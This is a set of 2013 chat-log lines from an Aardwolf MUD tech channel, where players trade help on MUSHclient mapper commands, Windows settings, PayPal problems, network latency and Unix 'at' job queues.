T3/r7/2013-03-07.txt.gz:{chan ch=tech}Scars Tech: the mapper help searching display does not show me a way to do mapper find/list for just the area i am currently located... am i missing something, or is this a true limiation?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Scars Tech: limitation*
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Wraiff Tech: try mapper area <text> to seatch the current zone
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Scars Tech: ah, perfect, thanks
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Turie Tech: Mapper Area
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vesuviou Tech: how do I save a text file in .txt to xml document in windows 7?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: save as click file type
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: put as all files then add .xml to the end simple
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vesuviou Tech: I add the dot xml extension but it still show as text file in type under windows 7
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Jhav Tech: You're probably hiding known extensions, and so aren't actually removing the .txt
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thats probably it
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Jhav Tech: Tools -> Folder Options, uncheck the 'Hide extentions for known file types' box.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vesuviou Tech: ok hold on
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah thanks jhav i havent had to do that
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vesuviou Tech: I forget how to access Tools 
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Ranrr Tech: XML is still text.... :P
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to delete ALL cexits from an area?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Trachx Tech: you could modify mapper to do so
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: sounds scarry... I already use 'mapper cexit here', and 'mapper cexits delete'... but that's one exit at a time, and tedious.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: just purge the entire zone and remap it
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fluffhead Tech: can always just start with a fresh install, but that'd be pretty annoying, too
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: that's what I wanna do!  didn't see a command for an entire zone, though... just one room, or the whole database
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: don't wanna start all over... I jus thave 4-5 zones that are buggy
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: mapper prugezone area. it deletes the area
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: without the typo
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: mostly because I didn't wait for the exit to registier while I was mapping
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: what's the typo?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fluffhead Tech: Well that shouldn't matter, just go back and remap the exit.  I do that all the time and it's not a big deal
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fluffhead Tech: transposed r and u
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: readt it twice and didn't see it... vowels are extrenious to the human mind anyhow
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: is there a command where - if I have clicked a room in the 'mapper area <room>' list, and the speed walk is interupted (like an agro mob) I can continue to that room with out having to list and click again?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Trachx Tech: doesn't 'mapper resume' work ?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: dunno... that's probobly yhe command Im looking for.. thanks
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Loshai Tech: Anyone pretty computer savvy - someitmes ( alot ) when i click a link or open a new explorer page - it says its stopped working and it resets 
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Alviryn Tech: Anyone know where to set in MUSH to keep the last command in the prompt?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: sec, gotta find it quick
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Alviryn Tech: thanks, i set something in config, but it doesn't seem to do it
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Alviryn Tech: i checked 'keep commands on prompt line' in commands under config, but no dice
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Check input -> commands menu
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: so Game -> Configure -> Input -> Commands menu
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Alviryn Tech: ahh, i checked the 'keep commands on prompt line', but that didn't work, so i checked 'auto repeat command' and that did it
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Alviryn Tech: thanks!
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: Fatal FrostBite bows deeply.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Arystul Tech: so I just created a second user account on my windows 8 computer, how do I allow them to access it or a login screen? there is no switch user button that I can find and restarting the computer brings up my main account asking for password
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Arystul Tech: anyone/
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: What's windows 8?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: windows 8 is the new version of windows for machines with touchscreens
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Arystul Tech: Seriously I am trying to figure this ut and its not workign lol
T3/r7/2013-03-08.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: hey my pklug for search and destroy is stuck and ive try reinstalling it but cant seem to move it
T3/r7/2013-03-08.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: how can i arrange my search and destroy gui_2 window 
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: What's search and destroy?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Ontuct Tech: winkles plugin
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: You kids and your newfound toys =P
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: back in my day we didn't have a fancy MUSHClient... we used telnet!
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Ontuct Tech: you want to clear out us young whippersnapper's like in the zoo?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: i am unable to move it or see half of it
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: what's the mapper command to delete one zone/area worth of custom exits?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: RTM
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: mapper delete exits seems sufficient
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: got to do 'em one at a time, though... I have a zone with over 20, and I messed them up
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: so just go back through and redo it
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: from the help mapper delete cexits           --> Remove the custom exits from this room
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: you can purge and re-explore the area, or you could edit the database
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: easiest solution is the one i suggested, imo
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: you can list the exits in the area using mapper cexits here to see the ones you need to delete
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: editing the DB seems a little scary... the 'purge' sytax is what I wa after
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: i still don't understand your motivation there, but hey, do your thing
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: yes... and there are over 20 to visit and delete... I was just looking for something faster is all.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: mapper purge cexits would remove all cexits worldwide...mapper purgezone would remove all info about a given area
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: i don't understand how this is faster when you must go back through each room and do it again anyway
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: what exactly is "wrong" with those 20 cexits?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: I want running thru mapping them without waiting for the confirmation... so the DB thinks the custom exit for a room is several rooms removed from teh actual exit
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: you could go back and just redo the action
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: yeah, as scars said, you'll have to go to each of those very same rooms in order to re-do the cexit properly
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: so mapper goto <first>, mapper delete cexits, mapper cexit newaction
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: i'm not all that sure that mapper delete cexits is necessary if the action is the same
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: but there's nothing wrong with doing it anyway
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: yes, I could...  or I could just dust off my 'ol monocromatic vterm and have a REAL mud experience...  I appreciate your advice, Scar.  you've been a big help before, but you seem almost offended that I'm looking for a more elecant solution here.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: nod, you're probably correct
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: well, it's not a more elegant solution is the point, though
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: I suspect you are correct...
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: i just don't want to see you accidentally delete more than you want to, and i don't know how you get to what you want
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: if there were a command to delete cexits thisarea, you'd STILL have to go to each room
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: if you purge, you lose all custom exits
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: if you purge the zone, you lose your map
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Scars Tech: you just have me confused, that's all
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: since we've been chatting, I'm about half way thru anyhow... might as well finish the manual way.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: thats the spirit
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: BTW... my vterm has the super-cool AMBER screen... not that tired old green.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: what's the non-manual way?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: unless you happen to know the room numbers that each of those exits lead to, there's only one way to map them...
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: the non-manual way is clant hey guyz, can i has a mapper file?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: I had considered digging around for DLable map files, but then I figured they'd have too many errors to suit me, or they'de pre-date zone changes... or they'de have hidden commands like "send X gold to xxxx"
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: or a favorite of an old MUD I played... a popular and useful script would send insulting tells to the IMs, and would hide the echo so you never knew.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: I was about to say that a mapper file couldn't send commands like that, until I remembered the cexits
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: You giggle in her presence.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto smirks.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: K... got the zone cleaned up... now I need a shower 'cause I'm all sweaty fro the manual labor
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: That's way too much info, but ok!
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: I presume someone has the labor-of-love keeping the mapper and other MUSH/Aard client modules current and working?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: that's fiendish
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: he's the maintainer of the aardwolf MUSHclient package, with links to him and the project on the aard website client download page
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: good to know... does he ever make improvements?  it's all very functional as it is
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: constantly
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: The "official releases" on the Aardwolf webpage are fairly infrequent, but you can get beta versions.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: go to the google code site, click source, click changes (or click browse and read the AardwolfPackageChanges.txt file
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: befor I send a note, has it ever been recommended that the "mapper area <room>' results be numbered such that you could type "mapper goto <z>", rather than clicking on the room from the list?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: of curse, you could type in the long number...  a short cut wuold be quicker, though.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: they're numbered, in that you mapper goto <roomnumber>
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: yes... I do use that from time to time.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Probably need to use letters for the results, to distinguish between a room number and a result number.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: that'd be a good idea
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: but what if, after a mapper area/find search, you want to go to a room which has that very number
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: good point
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: You nod at Birdbrain Metria.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: my feeling would be that he wouldn't want to add it, simply because it's close enough to autopilot as it is...but it never hurts to ask...I'd suggest posting on the site
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Or make a patch :D
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: I noted he has a a comment board... I might do that... after a few days
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: hehe... who <spins around>... me?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: you'r talking to a guy who just messed up an entire zone of cexits
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: about 15 years ago when I was playing medievia, I remember really struggling with the ZMud automapper... this is soooo much better.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Well in Zmud's defense (I never thought I'd say THAT) there's been a lot of code changes and server-side support for the mushclient mapper added.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc tempts Metria back to Tinyfugue
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: I still use TinyFugue for everything BUT aardwolf
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Tech: You snicker softly.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Sorry Abelinc, the mapper is just too damn useful :D
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: I wonder if Medievia is still kicking
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Is there a mapper command to show statistics about the current area you're in? (Number of rooms mapped, etc?)
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: 'mapper unmapped' mighthelp out
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: shows all rooms with unexplored exits
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: in a zone
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Rimno Tech: when i try to donate from aard site, paypal say my transaction couldnt be completed. any suggestions?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: try using someone elses CC?  JK!
T3/r7/2013-03-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: use a diferent payment method
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Vonliege Tech: most likely it's an issue from your end... security check or one number off on the CC, etc...
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Rimno Tech: is there a different payment method?
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Paypal's usually good at telling you why it failed. If it didn't then sign back in to check if it went through.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Rimno Tech: i tried other sites, and had no problem paying with paypal. only aardwolf doesnt seem to accept may payment.
T3/r7/2013-03-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Maybe you should paypal me some money, as a test.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: looks like Heroku is having server problems
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: man they just can't get a break
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone use the Flash client over here?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh i thought that was a joke....
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Heh Remarto, it's a good starting point for those who don't have Java on...
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Legiko Tech: oo interesting
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it really isnt that hard to get jarva..
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: Java*
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Legiko Tech: well more or less.. ahaha downloading this aardwolf client and all.. 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yep, it also isn't that hard to get Flash.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Legiko Tech: im playing on the flash client atm.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: From the clients command, I'm not sure how many others use it though.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Legiko Tech: not so sure either.. haha but i like the idea of installing it and being able to open it without it being apart of my tabs
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Quadrapus Tech: cMUD question: how many lines of scrollback do you keep in your main window?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Well would you look at that :-) Finished setting up my new network structure, set it to live just now, Aardwolf ping times dropped from 388ms to 270ms average :D
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: now see if you can set up a newer version that drops ping time below 100
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Ping direct from the ISP is 215ms :-(
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: damn having signals sent half way around the world. so incosiderate
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: I KNOW< RIGHT!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: < = ,
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: hehe 242ms here in Canberra
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Canberra has the NBN, you on that yet?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: nope
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: ADSL2 iinet
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: wagga is getting delayed in the rollout. apparently there was no planning with any of the other services for where pipes/wires already were
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Hrm, that makes me feel somewhat better about my 78ms pings
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: so last i heard getting pushed back at least 12-18 months :(
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: RedRain rapidly nods twice at Rusk, in complete agreement.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: does ping time REALLY matter when a round is 2 sec?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Round is 3?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: 3 sec iirc
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: you may be right... 3 I think
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: but for scan in laser etc, yeah, can matter
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vonliege Tech: not for combat... but for just navigating it does... when you hit 'inv', you don't wanna wait
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: Aussies should get xp bonus then!
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: RedRain shouts out, "AUSSIE AUSSIE AUSSIE!"
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: An everything bonus based on ping - I support this
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: I should be at LEAST t5, only my ping lags me out...:-P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: sure it isnt random gossip vakieh :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Shush you
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto screams out, "OI OI OI!"
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: if your not in nsw, you dont count either
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: Rusk's shifty eyes dart back and forth.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: A minor side effect of this is I can get some pretty freaking huge rates of transfer from the SSD in my server to the SSD in my PC :-) Not sure why I would need to do such a thing, but I am having a lot of fun saturating this gigabit
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto hops up and down shouting "Boogy Woogy OOY!!"
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: No Remarto, the New Zealand version is 'Hakka Hakka Hakka: Baa Baa Baa' 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: atleast im not nsw
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: remarto, thats only cause you suck
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Sydney, w00t w00t
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: *Yay!*  Go Vakieh!!!  Rusk cheers him on.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vonliege Tech: I like roasted roo
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mmm roo steak
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vonliege Tech: and roast kiwi
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto is so sick that he tells everyone "I gotta barf!".
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: nope. only have sausages in fridge atm. want some roo mince for bolognaise though
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: um shouldnt this bee on goss lol :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vakieh Tech: Kangaroo is great with tzaziki
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Rusk Tech: kangaroo is great with most things :)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}RedRain Tech: Kangroo is just great
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at RedRain, in complete agreement.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vable Tech: how do I set bbssh so I can scroll up?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: how would i capture colours when im getting text from the mud with a trigger?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Electrobite Tech: is there a way to switch my portal directory from my current mapper portal list?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What do you mean portal directory?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}[Outlaw] Electrobite Tech: ahh wait i got it sorry for bothering
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Mushambo Tech: Anyone have recommendation on shared hosting service? Looking to spend ~ $5-8 / month for a couple domains and email..
T3/r7/2013-03-09.txt.gz:{chan ch=tech}The River Styx Tech: I use justhost, but they aren't any better/worse than the next
T3/r7/2013-03-09.txt.gz:{chan ch=tech}SouLzier Tech: Hello I am experiencing a problem on my tablet . . . basically help files and announcements that have a lot of text are cutting off after so much text. I do not get to view the entire contents of Text files such as these.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: you would normal send a blank to opage down?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: you would normaly send a blank to page down?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}SouLzier Tech: I'm not understanding you? o.0
T3/r7/2013-03-09.txt.gz:{chan ch=tech}SouLzier Tech: I'm normally paging down by touch 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: when you open something big there should be like a page boarder with settings 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: like this [ Paging : (Enter), (T)op, (Q)uit, (B)ack, (R)efresh, (L)ast, (A)ll ]:
T3/r7/2013-03-09.txt.gz:{chan ch=tech}SouLzier Tech: I understand can you explain how to view the rest of the contents of the files?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}SouLzier Tech: Problem solved. Thank you. 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: changing your pages setting on aard to 40 'pages 40' that should help 
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vonliege Tech: I just started getting an error window pop-up when I go to MUSH settings... "not a valid base64 string. incorrect length (not mod 4)"... nothing seems to be broken... what's wrong?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: select some text, then do ctrl-c to copy to clipboard, then try again
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vonliege Tech: that seemed to clear it... thanks
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vonliege Tech: next... what's the command to show what the mud is actually seeing when I send a command?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: echocommands
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vonliege Tech: thanks
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: someone familiar with ASUS x73b
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: laptop
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: how's wireless network handled there.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: switch or keyboard combo?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Turie Tech: Dexter: 3 questions before someone answers.....Nice.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: look at the perimeter of the thing...if there's a switch, then switch...look at the keyboard...if there's blue or other-color icon on a key for antenna function, then it's keyboard combo
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vliam Tech: there you go.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: well i googled picture of laptop keyboard
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: seems to be fn + f2
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: why would you do that?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: you either have one, in which case you look at it...or you don't have one in which case who the hell gives a crap?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: just to help my father who calls me 10pm from ski resort in lapland *sigh
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: obviously things arent too easily explained to older people. :P
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: rather than googling a keyboard picture, you could just download the pdf manual directly from them
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vliam Tech: we have two Asus laptops
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vliam Tech: neither of them have hardware switches
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Dexter Tech: obviously things arent too easily explained to older people. :
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Vliam Tech: my Lenovo has both but the software switch is on by default if there's no software installed.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Is there anyway to kill all the jobs scheduled with unix 'at' command, or just the first one? These are jobs that aren't yet running btw.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: you can atq to list queue, and atrm or at -d to delete jobs...I'd suggest using letter-designated queues if you plan to use at routinely
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: But other than usinig atq or at -l to view the list is there a quicker method of killing them all or killing the first one?
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Or if I could just control the job idenifier like it sounds like you're suggesting using letters that would also work.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Tech: you don't control the job identifier, you control the queue name, so you could associate types of jobs with a particular queue to list and manipulate that separately from others...at really isn't a tool that is normally used for things which you would want to arbitrarily delete jobs of without knowing which job it is (i.e. without atq and reading first)
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: I suppose I can write a script to read atq output and remove the first job found
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: Ultimately I just want a #delay that overwrites and runs outside the client.
T3/r7/2013-03-09.txt.gz:{chan ch=tech}Ixle Tech: That way if I restart my client the delay doesn't get killed, but also so they don't pile up on each other.
